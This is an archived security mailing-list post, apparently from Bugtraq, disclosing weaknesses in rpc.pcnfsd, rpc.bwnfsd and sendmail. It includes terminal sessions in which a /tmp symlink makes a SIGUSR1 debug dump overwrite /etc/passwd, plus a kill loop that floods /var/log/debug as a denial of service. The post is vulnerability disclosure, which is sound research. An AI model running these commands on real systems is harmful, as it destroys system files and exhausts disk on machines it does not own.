After the recent messages on bugtraq about the security holes present in
the
RPC pcnfsd program, I had a quick glance at it (of course, it was quick
because I don't have the source code of /usr/sbin/rpc.* files). This is
not
big deal because it doesn't give anything new :
`/usr/bin/strings /usr/sbin/rpc.pcnfsd` :
(only interesting lines have been kept)
----------------------------------
strcpy
popen
system
chmod
mkdir
;|&<>`'#!?*()[]^/
ps630 -s %c%c -p %s -f
/usr/bin/lpr -P%s -C%s -J%s %s
/usr/bin/lpq -P%s
/usr/sbin/lpc status %s
/usr/bin/lprm -P%s %s
$FILE
$USER
$HOST
/var/spool/pcnfs
/usr/bin/lpr $FILE
----------------------------------
This only means that "system()" is effectively called as well as
"strcpy()"
(it's not a big clue but there may be somewhere a buffer overflow).
Also, the
string ";|&<>`'#!?*()[]^/" contains all the escaped shell characters
that are
removed from the printer name (and others things). Moreover, the command
line
"/usr/bin/lpr $FILE" may be interesting.. I also remember a quite old
exploit
program on rootshell called slugger also related to the chmod() problem.
(look at www.rootshell.com/archive-j457nxiqi3gq59dv/199707/pcnfsd.c.html
for
more infos).
Anyway, as I told you, a "strings rpc.pcnfsd" is not a big clue..;
however, I
also had a look at the "rpc.bwnfsd" program :
`/usr/bin/strings /usr/sbin/rpc.bwnfsd` :
(only interesting lines have been kept)
----------------------------------------------------------
strcpy
sprintf
/usr/bin/lp
bwnfsd: [default_print] print failed, unlinking print-file
bwnfsd: [default_print] unlinking %s
/tmp/bwlocks.dmp
----------------------------------------------------------
The "/tmp/bwlocks.dmp" seems to be a debug thingie.. Usually, the USR1
signal
is used by the programmer for this kind of stuff. Here, it's the case,
when the
rpc bwnfsd program receives as USR1 signal, it dumps infos to the
"/tmp/bwlocks.dmp" file; no need to say that it follows symlinks etc...
Of
course, only the root user may send a USR1 signal to the bwnfsd rpc
program so
it doesn't mean that it's a security hole because an unpriviledged user
can't
send this signal.
Mithrandir:/tmp$ id
uid=500(ga) gid=100(users) groups=100(users)
Mithrandir:/tmp$ ls -al /etc/passwd
-rw-r--r-- 1 root root 663 Sep 11 14:23 /etc/passwd
Mithrandir:/tmp$ ln -s /etc/passwd /tmp/bwlocks.dmp
Mithrandir:/tmp$ exit
exit
Mithrandir:/tmp# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),
10(wheel),11(floppy)
Mithrandir:/tmp# /usr/sbin/rpc.bwnfsd /var/spool/lpd/
Mithrandir:/tmp# kill -SIGUSR1 `pidof rpc.bwnfsd`
Mithrandir:/tmp# ls -al /etc/passwd
-rw-r--r-- 1 0 root 13 Sep 24 18:03 /etc/passwd
Mithrandir:/tmp# cat /etc/passwd
File Handles
Mithrandir:/tmp#
Maybe someone will find something else more interesting than that.. I
tried
to use the signal 9 and 15 that are fired to all the processes after the
Three
Finger Salute and I saw that rpc.bwnfsd doesn't dump infos to the
bwlocks.dmp
file (hopefully).
Finally, this reminded me of an old DoS that I found long time ago but I
never
released it (sorry if it is already known). This was based on the same
USR1
signal. When sendmail receives a SIGUSR1 signal, it dumps some infos in
the
/var/log/debug file. As sendmail is suid then it runs with root
priviledge but
with the id of the user; therefore, the user is able to send the SIGUSR1
signal
because he owns the sendmail process. A quick and fast example is :
On console 1:
-------------
Mithrandir:/tmp$ id
uid=500(ga) gid=100(users) groups=100(users)
Mithrandir:/tmp$ /usr/sbin/sendmail
ga... Recipient names must be specified
--------------------------------------------
On console 2:
-------------
Mithrandir:/tmp$ id
uid=500(ga) gid=100(users) groups=100(users)
Mithrandir:/tmp$ ls -al /var/log/debug
-rw-r--r-- 1 root root 133959 Sep 24 12:15 /var/log/debug
Mithrandir:/tmp$ while :; do kill -SIGUSR1 `pidof sendmail`;done &
[1] 640
Mithrandir:/tmp$ ls -al /var/log/debug
-rw-r--r-- 1 root root 136091 Sep 24 18:31 /var/log/debug
Mithrandir:/tmp$ ls -al /var/log/debug
-rw-r--r-- 1 root root 276528 Sep 24 18:32 /var/log/debug
Mithrandir:/tmp$ ls -al /var/log/debug
-rw-r--r-- 1 root root 342830 Sep 24 18:33 /var/log/debug
I tried this on sendmail 8.8.0 (as I told you above, it has been a
longtime).
I don't have any other sendmail version so it would be interesting to
check if
this bug is reproducible on the latest version of sendmail (eg 8.9.* I
think).
As many programs uses the USR1 signal as debugging tool, some of them
might be
unsafe and can cause a DoS (as example above) or even more (root
compromise ?).
Of course, it's clear that it can only be used on suid binaries which
the
handling code of the SIGUSR1 signal have root priviledges.
I tried that on a Slackware 3.1 distribution.. quite old, I know.
ga <duncanat_private>
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:17:36 PDT